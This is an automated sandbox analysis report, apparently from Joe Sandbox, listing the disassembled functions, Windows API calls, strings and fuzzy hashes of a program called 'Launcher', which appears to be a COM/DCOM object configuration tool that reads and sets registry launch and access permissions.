Part of subcall function 006778ED: GetFocus.USER32 ref: 006778ED
Part of subcall function 006778ED: #2859.MFC42U(00000000), ref: 006778F4

Part of subcall function 00677980: SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0067798C

GlobalAlloc.KERNEL32(00002002,00000080), ref: 00672F82
GlobalLock.KERNEL32(?), ref: 00672F8E
StringFromGUID2.OLE32(-00000008,?,00000028), ref: 00672FA3
GlobalUnlock.KERNEL32(?), ref: 00672FAC
EmptyClipboard.USER32 ref: 00672FBA
SetClipboardData.USER32(0000000D,?), ref: 00672FC5
CloseClipboard.USER32 ref: 00672FCB

Part of subcall function 006778FA: SendMessageW.USER32(?,0000113E,00000000,00000014), ref: 0067790C

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: ClipboardGlobal$MessageSend$#2859AllocCloseDataEmptyFocusFromLockStringUnlock
String ID:
API String ID: 1702833241-0
Opcode ID: c15850610e03cf088d1c7b9f9a4775d7b58801f828e39ea77ad691fae9d7cbd4
Instruction ID: bcc5c7b9ebbf25d043877527435d4914b79fe0be41d1f30ffcd68716c9eb6689
Opcode Fuzzy Hash: c15850610e03cf088d1c7b9f9a4775d7b58801f828e39ea77ad691fae9d7cbd4
Instruction Fuzzy Hash: F6214530D0020AEFDF10EBA4D85ABADBBB2FF44301F108169E515A73A1EB784E40CB55

Function 0067C9DB Relevance: 9.1, APIs: 6, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45b51006e005ba2f8b8eaee3f77aa5e79814a15718928fcffc0cc656bfce1a10
Instruction ID: a546892f1a33c3c7d54f27712a79ea46142296626a0f4e88b40149136e0605b2
Opcode Fuzzy Hash: 45b51006e005ba2f8b8eaee3f77aa5e79814a15718928fcffc0cc656bfce1a10
Instruction Fuzzy Hash: 9D21E67750011AFBD724DB94DC45ABFB76AEB10361F20821EF909EA250EB74DD4097A0

Function 0067FE37 Relevance: 9.1, APIs: 6, Instructions: 74COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0067FE45
memset.MSVCRT ref: 0067FE6B
memset.MSVCRT ref: 0067FEF5
IsDebuggerPresent.KERNEL32 ref: 0067FF11
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0067FF31
UnhandledExceptionFilter.KERNEL32(?), ref: 0067FF3B

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$DebuggerFeatureProcessor
String ID:
API String ID: 1045392073-0
Opcode ID: 9d02613156c626cc6e0014ac079b684a5cce8a9bf52d13a8c4340c07483bdedd
Instruction ID: d120f236b326748642be2a3b8ccf2d6a44f49914eed36c91440327868885a244
Opcode Fuzzy Hash: 9d02613156c626cc6e0014ac079b684a5cce8a9bf52d13a8c4340c07483bdedd
Instruction Fuzzy Hash: 26313A75D0521C9BDF20DFA0D989BCCBBB8AF18300F1041AAE44CAB250EB719A848F04

Function 0067FCE5 Relevance: 7.6, APIs: 5, Instructions: 50timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 0067FD12
GetCurrentProcessId.KERNEL32 ref: 0067FD21
GetCurrentThreadId.KERNEL32 ref: 0067FD2A
GetTickCount.KERNEL32 ref: 0067FD33
QueryPerformanceCounter.KERNEL32(?), ref: 0067FD48

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: a41a9ade2a05a4c362ed6c5e43bb94ddb7fc792fe4eb4c13da42e22f5e5d5619
Instruction ID: 8af16f273e4b0613a037abbd35173e6a09d07b5cc15ec6443962a951f1d5deb5
Opcode Fuzzy Hash: a41a9ade2a05a4c362ed6c5e43bb94ddb7fc792fe4eb4c13da42e22f5e5d5619
Instruction Fuzzy Hash: 16114871D01209EBCB20DBB8D94CAAEBBF6FF58B51F515966E442E7310EB359B408B00

Function 0067F4CC Relevance: 6.0, APIs: 4, Instructions: 13COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,0067F602,(;h), ref: 0067F4D3
UnhandledExceptionFilter.KERNEL32(0067F602,?,0067F602,(;h), ref: 0067F4DC
GetCurrentProcess.KERNEL32(C0000409,?,0067F602,(;h), ref: 0067F4E7
TerminateProcess.KERNEL32(00000000,?,0067F602,(;h), ref: 0067F4EE

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminate
String ID:
API String ID: 3231755760-0
Opcode ID: 1e248da3b46b39eed53e3908faf8022dcbb6c9b6aef05c2806e40519679a8537
Instruction ID: ab77cab56207070c13aa267439c76e403c2f5a0016f106ef80160693818706fd
Opcode Fuzzy Hash: 1e248da3b46b39eed53e3908faf8022dcbb6c9b6aef05c2806e40519679a8537
Instruction Fuzzy Hash: 6DD01232000105BBC7102BE1FC0DA6D3F2BFB6479AF056500F34983420DF3144818B51

Function 0067C76C Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 0067C61E: GetAclInformation.ADVAPI32(00000000,0067BA07,0000000C,00000002,00000000,0000000C,?,?,0067BA07), ref: 0067C64E
Part of subcall function 0067C61E: GetLastError.KERNEL32(?,0067BA07), ref: 0067C658

SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,0000000C,00000000,0000000C,00000001,?,00000000,00000001,?,?,0067BA75,?,00000001,?), ref: 0067C793
GetLastError.KERNEL32(?,0067BA75,?,00000001,?), ref: 0067C79D

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: ErrorLast$DaclDescriptorInformationSecurity
String ID:
API String ID: 2174634393-0
Opcode ID: 35ab1cd40d3d80bc87bba700e36d771435fb165c89f5949fe1c61b70cd56042c
Instruction ID: c4caa8b0d646c75db9a71ddce40b69509e781c2d491eeecc16ae77b15d14f12c
Opcode Fuzzy Hash: 35ab1cd40d3d80bc87bba700e36d771435fb165c89f5949fe1c61b70cd56042c
Instruction Fuzzy Hash: 26F0A737501136B7D7311A559C44F47BB2AEB407B0F118226FD089B250DF71DC1097E0

Function 0067FAC0 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0001FA70), ref: 0067FAC5

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 9c9e4c1a1315e0c1ec8e1a01af4cab60039742722462e04fd4d3146ad64875f2
Instruction ID: b335cedb468ed733da84df07f2fbb297cb5dc18d727b462a6768fcbe1c68b4d0
Opcode Fuzzy Hash: 9c9e4c1a1315e0c1ec8e1a01af4cab60039742722462e04fd4d3146ad64875f2
Instruction Fuzzy Hash: 509002B429110596471057705C0DC1525935A58656B439570A08AC5058EF5040805721

Function 006790DA Relevance: 1.5, APIs: 1, Instructions: 3clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(?), ref: 006790DD

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: ClipboardOpen
String ID:
API String ID: 2793039342-0
Opcode ID: 98e2c32ffe42a1ccc4ac070f1748a5b98061eef938237e7504512d527b312f36
Instruction ID: 9a576f970634d5ac394a4d40bf5389e4a23f2f36bcca2a157c4e345e9ec77731
Opcode Fuzzy Hash: 98e2c32ffe42a1ccc4ac070f1748a5b98061eef938237e7504512d527b312f36
Instruction Fuzzy Hash: 84900271410041DBCF015B10ED084043B32FB453063211294D0554D0319B225422DB00

Function 0067C0BC Relevance: 72.1, APIs: 36, Strings: 5, Instructions: 318windowregistryCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0067C0C6
#540.MFC42U(00000488,0066C76E,?,80000000,?,AccessPermission,?,?,?,?), ref: 0067C0F1
RegOpenKeyExW.ADVAPI32 ref: 0067C112
RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 0067C13A
RegCloseKey.ADVAPI32(?), ref: 0067C151
#800.MFC42U ref: 0067C15F
malloc.MSVCRT ref: 0067C174
RegCloseKey.ADVAPI32(?), ref: 0067C18D
RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 0067C1B4
RegCloseKey.ADVAPI32(?), ref: 0067C1C2
free.MSVCRT ref: 0067C1CD
GetSecurityDescriptorDacl.ADVAPI32(00000000,?,?,?), ref: 0067C1EC
GetLastError.KERNEL32 ref: 0067C1F6
#2810.MFC42U(?,Everyone), ref: 0067C21C
SendMessageW.USER32(?,00001053,000000FF,?), ref: 0067C250
SendMessageW.USER32(?,0000104D,00000000,?), ref: 0067C283
SendMessageW.USER32(?,00001053,000000FF,00000002), ref: 0067C29A
SendMessageW.USER32(?,0000104C,00000000,?), ref: 0067C2CA
free.MSVCRT ref: 0067C2D1
GetAce.ADVAPI32(00000000,00000000,?), ref: 0067C2EB
LookupAccountSidW.ADVAPI32(00000000,?,?,?,?,?,?), ref: 0067C350
#2810.MFC42U(?,%s\%s,?,?), ref: 0067C374
#2810.MFC42U(?,?? Unknown Account ??), ref: 0067C38A
SendMessageW.USER32(?,00001053,000000FF,?), ref: 0067C3BE
SendMessageW.USER32(?,0000104D,00000000,?), ref: 0067C3F5
SendMessageW.USER32(?,00001053,000000FF,00000002), ref: 0067C40C
LookupAccountSidW.ADVAPI32(00000000,?,?,?,?,?,?), ref: 0067C47D
#2810.MFC42U(?,%s\%s,?,?), ref: 0067C4A1
#2810.MFC42U(?,?? Unknown Account ??), ref: 0067C4B7
SendMessageW.USER32(?,00001053,000000FF,?), ref: 0067C4EB
SendMessageW.USER32(?,0000104D,00000000,?), ref: 0067C522
SendMessageW.USER32(?,00001053,000000FF,00000002), ref: 0067C539
SendMessageW.USER32(?,0000104C,00000000,?), ref: 0067C569
#3993.MFC42U(00000001,00000000,?? Unknown ACE ??,00000000,00000000,00000000,00000000), ref: 0067C57F
GetAce.ADVAPI32(00000000,00000001,?,00000001,00000000,?? Unknown ACE ??,00000000,00000000,00000000,00000000), ref: 0067C593
GetLastError.KERNEL32 ref: 0067C5AC

Strings

?? Unknown Account ??, xrefs: 0067C384, 0067C4B1
%s\%s, xrefs: 0067C36E, 0067C49B
Everyone, xrefs: 0067C216
?? Unknown ACE ??, xrefs: 0067C575
Yes, xrefs: 0067C2C0, 0067C42C

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: MessageSend$#2810$Close$AccountErrorLastLookupQueryValuefree$#3993#540#800DaclDescriptorH_prolog3_OpenSecuritymalloc
String ID: %s\%s$?? Unknown ACE ??$?? Unknown Account ??$Everyone$Yes
API String ID: 47226287-2762826609
Opcode ID: a44b2fa2c5889b5dd94eb8d697a8bec935dea53010b35e5be1c43ce1c5fa2d9c
Instruction ID: 3fb442dd5b4e6cafc86cd4180ef16ad15c185aa385e59b3442dd23d3d29eb64e
Opcode Fuzzy Hash: a44b2fa2c5889b5dd94eb8d697a8bec935dea53010b35e5be1c43ce1c5fa2d9c
Instruction Fuzzy Hash: C0D1F2F190012DAFDB218F50DC84ADAB7BDFB48314F5086E9E609A7251DB705EC49F68

Function 00671870 Relevance: 66.8, APIs: 35, Strings: 3, Instructions: 263COMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 00671877
#540.MFC42U(00000058,0066B66A), ref: 00671884
#540.MFC42U(00000058,0066B66A), ref: 00671891
#540.MFC42U(00000058,0066B66A), ref: 0067189F
#4155.MFC42U(00000004,00000058,0066B66A), ref: 006718AD
#4155.MFC42U(00000005,00000004,00000058,0066B66A), ref: 006718B7
#3517.MFC42U(?,?,?,?,?,?,?,?,?,?,?,?,?,?,006621A0,00000005), ref: 006718DE
#858.MFC42U(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,006621A0), ref: 006718EB
#800.MFC42U(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,006621A0), ref: 006718F7
#2910.MFC42U(000000FF,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00671910

Part of subcall function 0067DB5F: isspace.MSVCRT ref: 0067DB7C

Part of subcall function 0067DB5F: isxdigit.MSVCRT ref: 0067DBF6
Part of subcall function 0067DB5F: isspace.MSVCRT ref: 0067DC2E
Part of subcall function 0067DB5F: isspace.MSVCRT ref: 0067DC49

Part of subcall function 0067DB5F: isdigit.MSVCRT ref: 0067DBCD
Part of subcall function 0067DB5F: isdigit.MSVCRT ref: 0067DC1A

Part of subcall function 0067DB5F: toupper.MSVCRT ref: 0067DBE3

#5906.MFC42U(00000000,00000000,00000000,000000FF,00000000,?,?), ref: 00671A67
#6205.MFC42U(?,?,00000001,00000000,00000000,00000000,000000FF,00000000,?,?), ref: 00671A80
#6205.MFC42U(?,?,00000001,?,?,00000001,00000000,00000000,00000000,000000FF,00000000,?,?), ref: 00671A92
#6191.MFC42U(0000002C,?,?,00000001,?,?,00000001,00000000,00000000,00000000,000000FF,00000000,?,?), ref: 00671A9D
#800.MFC42U(0000002C,?,?,00000001,?,?,00000001,00000000,00000000,00000000,000000FF,00000000,?,?), ref: 00671AA7
#800.MFC42U(0000002C,?,?,00000001,?,?,00000001,00000000,00000000,00000000,000000FF,00000000,?,?), ref: 00671AAF
#800.MFC42U(0000002C,?,?,00000001,?,?,00000001,00000000,00000000,00000000,000000FF,00000000,?,?), ref: 00671AB7
#1258.MFC42U(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,006621A0), ref: 00671B1E
__EH_prolog3_GS.LIBCMT ref: 00671B2B
#540.MFC42U(00000044,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00671B35
#540.MFC42U(00000044,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00671B41
#4155.MFC42U(00000004,00000044,00000000,?,?), ref: 00671B4F
#4155.MFC42U(00000005,00000004,00000044,00000000,?,?), ref: 00671B59
#540.MFC42U(00000005,00000004,00000044,00000000,?,?), ref: 00671B61
#3865.MFC42U(?,00000005,00000004,00000044,00000000,?,?), ref: 00671B77
#2970.MFC42U(00000000,?,?,?,00000005,00000004,00000044,00000000,?,?), ref: 00671B8C
#2910.MFC42U(000000FF,00000000,?,?,?,00000005,00000004,00000044,00000000,?,?), ref: 00671B99
#3792.MFC42U(000000FF,00000000,?,?,?,00000005,00000004,00000044,00000000,?,?), ref: 00671BA6
#3792.MFC42U(00000000,000000FF,00000000,?,?,?,00000005,00000004,00000044,00000000,?,?), ref: 00671BB8
wsprintfW.USER32 ref: 00671BE8
#5568.MFC42U(000000FF), ref: 00671BF6
#6399.MFC42U(?,?,?,000000FF), ref: 00671C09
#800.MFC42U(?,?,?,000000FF), ref: 00671C11
#800.MFC42U(?,?,?,000000FF), ref: 00671C19
#800.MFC42U(?,?,?,000000FF), ref: 00671C21

Strings

,, xrefs: 006718C7
,, xrefs: 00671B70
%d, %d, %d, %d, %d, %d, %d, %d, %d, %d, %d, %d, xrefs: 00671BE2

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #800$#540$#4155$isspace$#2910#3792#6205isdigit$#1258#2970#3517#3865#5568#5906#6191#6399#858H_prolog3_H_prolog3_catch_isxdigittoupperwsprintf
String ID: %d, %d, %d, %d, %d, %d, %d, %d, %d, %d, %d, %d$,$,
API String ID: 708604890-3364495680
Opcode ID: d9912ec5ff6387b054ca2f10e0a64ec41161b13fa5223f5be577a0e51cd551ac
Instruction ID: 7325466de299021547b6e43b444acd423b0b96a680b7d4694c3d4674f87eb575
Opcode Fuzzy Hash: d9912ec5ff6387b054ca2f10e0a64ec41161b13fa5223f5be577a0e51cd551ac
Instruction Fuzzy Hash: 39A13B71D0010CEBCF52EFE4C985ADDFBBAAF18700F50852AE109B7141EB706A4ACB54

Function 006704B0 Relevance: 57.9, APIs: 25, Strings: 8, Instructions: 191registrywindowCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 006704BA

Part of subcall function 0067D0B6: StringFromGUID2.OLE32(?,?,00000028,?,?,?,?,?,?,?), ref: 0067D152
Part of subcall function 0067D0B6: lstrcpyW.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 0067D163
Part of subcall function 0067D0B6: wsprintfW.USER32 ref: 0067D179
Part of subcall function 0067D0B6: RegOpenKeyW.ADVAPI32(80000000,CLSID,?), ref: 0067D1AA
Part of subcall function 0067D0B6: RegEnumKeyW.ADVAPI32(?,00000000,?,000000FF), ref: 0067D25C
Part of subcall function 0067D0B6: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0067D270
Part of subcall function 0067D0B6: wsprintfW.USER32 ref: 0067D286

LoadCursorW.USER32(00000000,00007F02), ref: 006704E6
SetCursor.USER32(00000000), ref: 006704ED

Part of subcall function 0067DE06: malloc.MSVCRT ref: 0067DE1E

#538.MFC42U(new CSecurityDescriptor failed.), ref: 00670528
#800.MFC42U(?,00000000,MakeSelfRelativeSD failed), ref: 00670754

Part of subcall function 0067CDEB: free.MSVCRT ref: 0067CE45
Part of subcall function 0067CDEB: free.MSVCRT ref: 0067CE55
Part of subcall function 0067CDEB: free.MSVCRT ref: 0067CE6D

#538.MFC42U(00000000,00000000), ref: 00670575
MakeSelfRelativeSD.ADVAPI32(00000000,00000000,?,Interactive,00000001,Administrators,00000001,System,00000001,00000000), ref: 006705BC
malloc.MSVCRT ref: 006705C8
#538.MFC42U(00000000), ref: 006705F5
MakeSelfRelativeSD.ADVAPI32(00000000,00000000,?), ref: 00670610
RegOpenKeyExW.ADVAPI32(80000000,?,00000000,000F003F,?), ref: 00670659
GetSecurityDescriptorLength.ADVAPI32(?), ref: 00670666
RegSetValueExW.ADVAPI32(?,LaunchPermission,00000000,00000003,?,00000000), ref: 0067067C
RegCloseKey.ADVAPI32(?), ref: 00670688
free.MSVCRT ref: 0067068F
#2634.MFC42U(00000001), ref: 006706B9
#2634.MFC42U(00000001,00000001), ref: 006706C6
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 006706D9
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 006706E9
#5977.MFC42U ref: 006706F2
LoadCursorW.USER32(00000000,00007F00), ref: 006706FD
SetCursor.USER32(00000000), ref: 00670704

Strings

Administrators, xrefs: 00670592
Interactive, xrefs: 006705A0
new CSecurityDescriptor failed., xrefs: 0067051D
CSecurityDescriptor::Initialize failed., xrefs: 0067056E
LaunchPermission, xrefs: 00670671
System, xrefs: 00670586
MakeSelfRelativeSD failed, xrefs: 0067072A
psdSelfRelative malloc failed., xrefs: 006705EE

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: Cursorfree$#538$#2634CloseLoadMakeMessageOpenRelativeSelfSendmallocwsprintf$#5977#800DescriptorEnumFromH_prolog3_LengthSecurityStringValuelstrcpy
String ID: Administrators$CSecurityDescriptor::Initialize failed.$Interactive$LaunchPermission$MakeSelfRelativeSD failed$System$new CSecurityDescriptor failed.$psdSelfRelative malloc failed.
API String ID: 3894545846-2955734171
Opcode ID: 31e35af0d84a7067b3507d8f9af23ff06c397ab68f18c0f42a4af10d98aa8cdf
Instruction ID: 4eb522715dba09120c124e5746a0204e3aabb1233b209033f3f831dcb9a0f55c
Opcode Fuzzy Hash: 31e35af0d84a7067b3507d8f9af23ff06c397ab68f18c0f42a4af10d98aa8cdf
Instruction Fuzzy Hash: A961A171940216EBEB60AF60CC89FEE767BEF54310F0185ACF509AA192CF705A45CB64

Function 0067B8D5 Relevance: 54.5, APIs: 22, Strings: 9, Instructions: 250registryCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0067B8DC
LoadCursorW.USER32(00000000,00007F02), ref: 0067B8F4
SetCursor.USER32(00000000), ref: 0067B8FB
RegOpenKeyExW.ADVAPI32(?,?,00000000,000F003F,?), ref: 0067B911
LoadCursorW.USER32(00000000,00007F00), ref: 0067B924
SetCursor.USER32(00000000), ref: 0067B92B
RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 0067B94C
RegCloseKey.ADVAPI32(?), ref: 0067BAA4

Strings

Administrators, xrefs: 0067BA28
DefaultAccessPermission, xrefs: 0067BA41
Interactive, xrefs: 0067BA35
DefaultLaunchPermission, xrefs: 0067BA07
new CSecurityDescriptor failed., xrefs: 0067B998
CSecurityDescriptor::Initialize failed., xrefs: 0067B9E3
LaunchPermission, xrefs: 0067BA17
AccessPermission, xrefs: 0067BA51
System, xrefs: 0067B9FD

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: Cursor$Load$CloseH_prolog3OpenQueryValue
String ID: AccessPermission$Administrators$CSecurityDescriptor::Initialize failed.$DefaultAccessPermission$DefaultLaunchPermission$Interactive$LaunchPermission$System$new CSecurityDescriptor failed.
API String ID: 2619828013-2246421441
Opcode ID: deba9ee4a6bca0a53c5bb15843e8965cff0dd1f64d2f1ecc16746bd255207467
Instruction ID: 70f732c49ff4f00827e230176714f75a4b7f76e7f362d3dbdf14df6a9a742909
Opcode Fuzzy Hash: deba9ee4a6bca0a53c5bb15843e8965cff0dd1f64d2f1ecc16746bd255207467
Instruction Fuzzy Hash: 13916071A00216EBDF11AFA0DC89FAE7BBBEF48711F145519FA09A6290DF349D00DB64

Function 0066FE60 Relevance: 49.3, APIs: 17, Strings: 11, Instructions: 285windowregistrystringCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0066FE6A
#6330.MFC42U(00000001,00000408), ref: 0066FE73
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 0066FF2B
SendMessageW.USER32(?,00000148,00000000,?), ref: 0066FF44
lstrcmpW.KERNEL32(?,None), ref: 0066FF56
RegDeleteKeyW.ADVAPI32(80000000,00000000), ref: 0066FFC4
SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 0067000B
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00670067
SendMessageW.USER32(?,00000148,00000000,?), ref: 00670080
lstrcmpW.KERNEL32(?,None), ref: 00670092
RegDeleteKeyW.ADVAPI32(80000000,00000000), ref: 00670111
#4118.MFC42U ref: 0067011D
SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 00670135
#540.MFC42U(?,?,006621A0,DllSurrogate), ref: 00670192
#3871.MFC42U(?), ref: 006701A8
RegDeleteKeyW.ADVAPI32(80000000,00000000), ref: 006701F7
#800.MFC42U(?,TreatAs,?,?), ref: 00670203

Strings

LocalService, xrefs: 0066FEB4, 0066FED5, 0066FEE6
InProcServer32, xrefs: 00670024, 00670045, 006700A4, 006700DC, 006700F8
LocalServer32, xrefs: 0066FFE4, 0066FFF2
TreatAs, xrefs: 006701C2, 006701DE
None, xrefs: 0066FF4A, 00670086
ThreadingModel, xrefs: 0066FF63, 0066FF87, 0067009F, 006700D7
InProcHandler32, xrefs: 0066FF09, 0066FF68, 0066FF8C, 0066FFAB
DllSurrogate, xrefs: 0067015A, 00670174
JavaClass, xrefs: 00670040
msjava.dll, xrefs: 0067001A
ServiceParameters, xrefs: 0066FED0

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: MessageSend$Delete$lstrcmp$#3871#4118#540#6330#800H_prolog3_
String ID: DllSurrogate$InProcHandler32$InProcServer32$JavaClass$LocalServer32$LocalService$None$ServiceParameters$ThreadingModel$TreatAs$msjava.dll
